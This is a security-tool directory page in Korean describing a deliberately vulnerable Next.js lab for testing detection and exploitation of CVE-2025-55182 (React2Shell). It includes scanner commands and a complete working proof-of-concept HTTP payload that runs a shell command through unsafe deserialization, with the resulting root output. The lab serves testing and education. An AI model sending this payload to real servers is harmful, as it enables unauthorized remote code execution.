Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Unihackers---CVE-2025-55182- — 의도적으로 취약하게 만든 Next.js 환경으로, 제공된 PoC 페이로드 및 스캐너 통합을 사용하여 CVE-2025-55182 (React2Shell) RCE 탐지 및 악용을 테스트합니다. | Kitploit
도구/GitHubGitHub/sairbo/unihackers---cve-2025-55182-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsairbo/unihackers---cve-2025-55182-

Unihackers---CVE-2025-55182-

의도적으로 취약하게 만든 Next.js 환경으로, 제공된 PoC 페이로드 및 스캐너 통합을 사용하여 CVE-2025-55182 (React2Shell) RCE 탐지 및 악용을 테스트합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
26개월 전아직 검토되지 않음

ITALIAN GANG

React2Shell PoC

이 저장소는 React Server Components 및 Next.js에 영향을 미치는 최신 중요 RCE 취약점(React2Shell)에 대한 보안 스캐너를 테스트할 수 있는 최소한의 의도적으로 취약한 환경을 제공합니다.

CVE-2025-55182: React Server Components 버전 19.0.0, 19.1.0, 19.1.1, 19.2.0(다음 패키지 포함: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack)에 인증 전 원격 코드 실행 취약점이 존재합니다. 취약한 코드는 HTTP 요청의 Server Function 엔드포인트로부터 페이로드를 안전하지 않게 역직렬화합니다.

CVE-2025-66478: App Router를 사용하는 Next.js 애플리케이션에 대한 하류 영향 추적.

[!Warning] 이 설정은 의도적으로 취약하게 만들어졌으며, 절대 공개 인터넷이나 프로덕션 환경에 노출해서는 안 됩니다.


이것은 무엇인가

이 앱은 매우 작은 Next.js 프로젝트로, 다음과 같은 특징이 있습니다:

  • 취약한 버전 고정:
    • next: 16.0.6
    • react: 19.2.0
    • react-dom: 19.2.0
  • App Router와 React server actions를 사용하는 최소한의 NextJS 설정

[!TIP] react와 react-dom을 고정하는 것은 선택 사항입니다. 영향을 받는 next 버전은 App Router로 인해 기본적으로 취약하기 때문입니다.

실행 방법

root@kitploit:~
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

탐지 방법

AssetNote 스캐너

AssetNote에서 제공하는 스캐너 사용:

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

다음과 같은 결과가 반환됩니다:

root@kitploit:~
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

다음과 같은 결과가 반환됩니다:

root@kitploit:~
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000

익스플로잇 방법

여기에서 가져온 PoC HTTP 페이로드.

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

다음과 같은 결과가 반환됩니다:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

image
도구 다운로드